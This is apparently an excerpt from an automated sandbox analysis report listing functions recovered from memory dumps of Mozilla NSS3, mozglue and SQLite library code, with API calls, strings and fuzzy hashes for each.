PK11_GetIVLength.NSS3(-00000001), ref: 6CB78FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CC5D820,6CB79576), ref: 6CB78FF9
DER_GetInteger_Util.NSS3(?), ref: 6CB7901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CB7903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB79062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CB790A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CB790CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CB790F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CB7912D
free.MOZGLUE(00000000), ref: 6CB79136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB79145

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 22e00839b76814934a670372116fcaeb4665f5d71f8d98b23fcc6e1bff8f42f5
Instruction ID: 6484e389b260cb828d851d9500b7ded2c98cd70dd2680f57aa98da5e91390d24
Opcode Fuzzy Hash: 22e00839b76814934a670372116fcaeb4665f5d71f8d98b23fcc6e1bff8f42f5
Instruction Fuzzy Hash: 0F51E3B1A042809BEB10CF28DC81B9BB7E8EF85358F054929EC6597741E731E955CBE3

Function 6CA6D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA6D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA6D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA6D52A
GetCurrentThreadId.KERNEL32 ref: 6CA6D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA6D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA6D55F
free.MOZGLUE(00000000), ref: 6CA6D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA6D5D3
GetCurrentThreadId.KERNEL32 ref: 6CA6D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA6D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA6D652
GetCurrentThreadId.KERNEL32 ref: 6CA6D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA6D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA6D6A2

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 73c9415352df9bb472e9bea82133851a52741ccf8b0b765e92e8897b79c58ccb
Instruction ID: 1ad68232139a97824772abd8ce0f2049352b518d911c09587be45156cf9a077d
Opcode Fuzzy Hash: 73c9415352df9bb472e9bea82133851a52741ccf8b0b765e92e8897b79c58ccb
Instruction Fuzzy Hash: 63519071A14706DFC704DF35D484A9ABBF4FF89358F10862DE85A87B10DB30A989CB91

Function 6CC4C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CC4C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC4C8DA
malloc.MOZGLUE(00000001), ref: 6CC4C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC4C8F8
PR_NewLock.NSS3 ref: 6CC4C909
PR_NewCondVar.NSS3(00000000), ref: 6CC4C918
PR_NewCondVar.NSS3(00000000), ref: 6CC4C92A

Part of subcall function 6CB20F00: PR_GetPageSize.NSS3(6CB20936,FFFFE8AE,?,6CAB16B7,00000000,?,6CB20936,00000000,?,6CAB204A), ref: 6CB20F1B
Part of subcall function 6CB20F00: PR_NewLogModule.NSS3(clock,6CB20936,FFFFE8AE,?,6CAB16B7,00000000,?,6CB20936,00000000,?,6CAB204A), ref: 6CB20F25

free.MOZGLUE(00000000), ref: 6CC4C947

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 688db45181410815ba144f96866964377cf0458902827e069215aaec264bca81
Instruction ID: 75a5d98886ea7e337f93dd5ebbb67cc1322c5078b6218ce4a0adec95ff9bcaca
Opcode Fuzzy Hash: 688db45181410815ba144f96866964377cf0458902827e069215aaec264bca81
Instruction Fuzzy Hash: 0D21EBF1A017016BDB10BF799C4569B7AB8EF15298F148539E85AC2B00FB35E51CCBA2

Function 6CB2AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CB2AF47

Part of subcall function 6CBF9090: TlsGetValue.KERNEL32 ref: 6CBF90AB
Part of subcall function 6CBF9090: TlsGetValue.KERNEL32 ref: 6CBF90C9
Part of subcall function 6CBF9090: EnterCriticalSection.KERNEL32 ref: 6CBF90E5
Part of subcall function 6CBF9090: TlsGetValue.KERNEL32 ref: 6CBF9116
Part of subcall function 6CBF9090: LeaveCriticalSection.KERNEL32 ref: 6CBF913F

FreeLibrary.KERNEL32(?), ref: 6CB2AF6D
free.MOZGLUE(?), ref: 6CB2AFA4
free.MOZGLUE(?), ref: 6CB2AFAA
PR_ExitMonitor.NSS3 ref: 6CB2AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CB2AFF5
PR_ExitMonitor.NSS3 ref: 6CB2B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB2B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CB2B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB2B03C

Strings

Unloaded library %s, xrefs: 6CB2B023
%s decr => %d, xrefs: 6CB2AFF0

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 15181f0891e8d6a57fdc27569b04d2277f6a1b7cc07ff33c1a6cd98d1b42208b
Instruction ID: 0505be073dc761a39a6282e321e87e4005e19fdf9db82c912d3692f082506f28
Opcode Fuzzy Hash: 15181f0891e8d6a57fdc27569b04d2277f6a1b7cc07ff33c1a6cd98d1b42208b
Instruction Fuzzy Hash: 2C31E5B6A04191ABDF119E64DC41A6AF779EB05308B154125E81EC7B00F73AE819CBA2

Function 6CB76C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CB7781D,00000000,6CB6BE2C,?,6CB76B1D,?,?,?,?,00000000,00000000,6CB7781D), ref: 6CB76C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CB7781D,?,6CB6BE2C,?), ref: 6CB76C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CB7781D), ref: 6CB76C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CB76C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CB76C96

Part of subcall function 6CB21240: TlsGetValue.KERNEL32(00000040,?,6CB2116C,NSPR_LOG_MODULES), ref: 6CB21267
Part of subcall function 6CB21240: EnterCriticalSection.KERNEL32(?,?,?,6CB2116C,NSPR_LOG_MODULES), ref: 6CB2127C
Part of subcall function 6CB21240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB2116C,NSPR_LOG_MODULES), ref: 6CB21291
Part of subcall function 6CB21240: PR_Unlock.NSS3(?,?,?,?,6CB2116C,NSPR_LOG_MODULES), ref: 6CB212A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CB76CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6CB76C91
dbm, xrefs: 6CB76CA4
extern:, xrefs: 6CB76C7E
rdb:, xrefs: 6CB76C69
dbm:, xrefs: 6CB76C3A
sql:, xrefs: 6CB76C52

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 5fe22cbed62ab907b039826b38a6ef40a7f670a90236cc86bd9dd161ff79ad86
Instruction ID: a1a54aff254a826251a46787674768f3d5fa9c4dea46d6634c2b2e2da10196ae
Opcode Fuzzy Hash: 5fe22cbed62ab907b039826b38a6ef40a7f670a90236cc86bd9dd161ff79ad86
Instruction Fuzzy Hash: 6901A2B170238137EA21277A6D8AF27396CDF42158F140531FE28F1985FA96E51442B6

Function 6CB84E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CB478F8), ref: 6CB84E6D

Part of subcall function 6CB209E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CB206A2,00000000,?), ref: 6CB209F8
Part of subcall function 6CB209E0: malloc.MOZGLUE(0000001F), ref: 6CB20A18
Part of subcall function 6CB209E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB20A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CB478F8), ref: 6CB84ED9

Part of subcall function 6CB75920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CB77703,?,00000000,00000000), ref: 6CB75942
Part of subcall function 6CB75920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CB77703), ref: 6CB75954
Part of subcall function 6CB75920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB7596A
Part of subcall function 6CB75920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB75984
Part of subcall function 6CB75920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CB75999
Part of subcall function 6CB75920: free.MOZGLUE(00000000), ref: 6CB759BA
Part of subcall function 6CB75920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CB759D3
Part of subcall function 6CB75920: free.MOZGLUE(00000000), ref: 6CB759F5
Part of subcall function 6CB75920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CB75A0A
Part of subcall function 6CB75920: free.MOZGLUE(00000000), ref: 6CB75A2E
Part of subcall function 6CB75920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CB75A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB84EB3

Part of subcall function 6CB84820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB84EB8,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB8484C
Part of subcall function 6CB84820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB84EB8,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB8486D
Part of subcall function 6CB84820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CB84EB8,?), ref: 6CB84884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB84EC0

Part of subcall function 6CB84470: TlsGetValue.KERNEL32(00000000,?,6CB47296,00000000), ref: 6CB84487
Part of subcall function 6CB84470: EnterCriticalSection.KERNEL32(?,?,?,6CB47296,00000000), ref: 6CB844A0
Part of subcall function 6CB84470: PR_Unlock.NSS3(?,?,?,?,6CB47296,00000000), ref: 6CB844BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB84F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB84F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB84F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB84F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB84F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB84F8F
PK11_UpdateSlotAttribute.NSS3(?,6CC5DCB0,00000000), ref: 6CB84FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CB8501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CB478F8), ref: 6CB8506B

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 7d1d42bf9248fa05dc5d151e73c990814694abb8702f989005ff58d9cb5276e6
Instruction ID: e5ef38b09be3b17fd02621164403e642f3b4eb5be75b14d8f7fbb1efecaff12f
Opcode Fuzzy Hash: 7d1d42bf9248fa05dc5d151e73c990814694abb8702f989005ff58d9cb5276e6
Instruction Fuzzy Hash: 8351E4B1D022859BEB119F24EC11AAF37B8EF0531CF184635EC4A96A11FB31D518CBD2

Function 6CB2ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2ACE2
malloc.MOZGLUE(00000001), ref: 6CB2ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB2AD02
TlsGetValue.KERNEL32 ref: 6CB2AD3C
calloc.MOZGLUE(00000001,?), ref: 6CB2AD8C
PR_Unlock.NSS3 ref: 6CB2ADC0
free.MOZGLUE(00000000), ref: 6CB2AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB2AE58
free.MOZGLUE(00000000), ref: 6CB2AE69
free.MOZGLUE(?), ref: 6CB2AE78
PR_Unlock.NSS3 ref: 6CB2AE8C
free.MOZGLUE(?), ref: 6CB2AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB2AEC7

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 9bd566b3381929fb242b50e4185789132636dc66bb11e14c4efd163cf3cd4922
Instruction ID: bfbde8df281189ad20c49b13f0dea3a7cc599fefe184930600e64632efda84ee
Opcode Fuzzy Hash: 9bd566b3381929fb242b50e4185789132636dc66bb11e14c4efd163cf3cd4922
Instruction Fuzzy Hash: 9B519FB1E011659BDF00EF58D8826BF7B78FB06398F144525D819A3A10E339E949CFD2

Function 6CC04C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CC04CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC04CFD
sqlite3_value_text16.NSS3(?), ref: 6CC04D44

Strings

invalid, xrefs: 6CC04CF1
another row available, xrefs: 6CC04D20
out of memory, xrefs: 6CC04C78, 6CC04C9E
no more rows available, xrefs: 6CC04D2E
bad parameter or other API misuse, xrefs: 6CC04D05
abort due to ROLLBACK, xrefs: 6CC04D27, 6CC04D33
API call with %s database connection pointer, xrefs: 6CC04CF6
unknown error, xrefs: 6CC04D56

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 48f3da6709e1c331a10f867274d3498fbeb08097026703ccd2d701e2872b5c5f
Instruction ID: 3b11280074338cb95c44016832ca873a2b8e7398ae7318a3e15bb269b95ee152
Opcode Fuzzy Hash: 48f3da6709e1c331a10f867274d3498fbeb08097026703ccd2d701e2872b5c5f
Instruction Fuzzy Hash: 5A3148B3F08A51ABD704CB26D8007A7773277A3359F154569D8244BE54F723AC62C3D2

Function 6CA5EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA24A68), ref: 6CA5945E
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA59470
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA59482
Part of subcall function 6CA59420: __Init_thread_footer.LIBCMT ref: 6CA5949F

GetCurrentThreadId.KERNEL32 ref: 6CA5EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA5EC8C

Part of subcall function 6CA594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA594EE
Part of subcall function 6CA594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA59508

GetCurrentThreadId.KERNEL32 ref: 6CA5ECA1
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA5ECC5
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA5ED19
CloseHandle.KERNEL32(?), ref: 6CA5ED28
free.MOZGLUE(00000000), ref: 6CA5ED2F
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA5EC94

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 55da99ba211372e70466f5e7faffbd703b34a7a8b30452648cde6133c80ad329
Instruction ID: dd15d312ae7be20b2ff8335514308d0218ce8282f5b1c140ceb1ce84a7039c06
Opcode Fuzzy Hash: 55da99ba211372e70466f5e7faffbd703b34a7a8b30452648cde6133c80ad329
Instruction Fuzzy Hash: D9213771610205AFCF008F24EC06AAA7779FB8526CF54C214FC1987740DF3498AACBE1

Function 6CB34880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB348A2
PORT_NewArena_Util.NSS3(00000800), ref: 6CB348C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6CB348D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6CB348FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6CB34908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB34947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CB3496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB34988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC58DAC,?), ref: 6CB349DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB349FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB34ACB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 18972d2cc1144a500df5a4d87401adda09c54c21cca05f75f4d82fd38d66fbef
Instruction ID: e0a8820cbd8a4d3a02f59d0cf872c48804a21389ac7fdcf07a71e609a4bc7a36
Opcode Fuzzy Hash: 18972d2cc1144a500df5a4d87401adda09c54c21cca05f75f4d82fd38d66fbef
Instruction Fuzzy Hash: 1751D171A003A18FEB108F65DC41B9B7FE8EB41308F145129ED1DAAB91EBB2D4588F57

Function 6CC02D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CC02D9F

Part of subcall function 6CABCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB1F9C9,?,6CB1F4DA,6CB1F9C9,?,?,6CAE369A), ref: 6CABCA7A
Part of subcall function 6CABCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CABCB26

sqlite3_exec.NSS3(?,?,6CC02F70,?,?), ref: 6CC02DF9
sqlite3_free.NSS3(00000000), ref: 6CC02E2C
sqlite3_free.NSS3(?), ref: 6CC02E3A
sqlite3_free.NSS3(?), ref: 6CC02E52
sqlite3_mprintf.NSS3(6CC6AAF9,?), ref: 6CC02E62
sqlite3_free.NSS3(?), ref: 6CC02E70
sqlite3_free.NSS3(?), ref: 6CC02E89
sqlite3_free.NSS3(?), ref: 6CC02EBB
sqlite3_free.NSS3(?), ref: 6CC02ECB
sqlite3_free.NSS3(00000000), ref: 6CC02F3E
sqlite3_free.NSS3(?), ref: 6CC02F4C

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

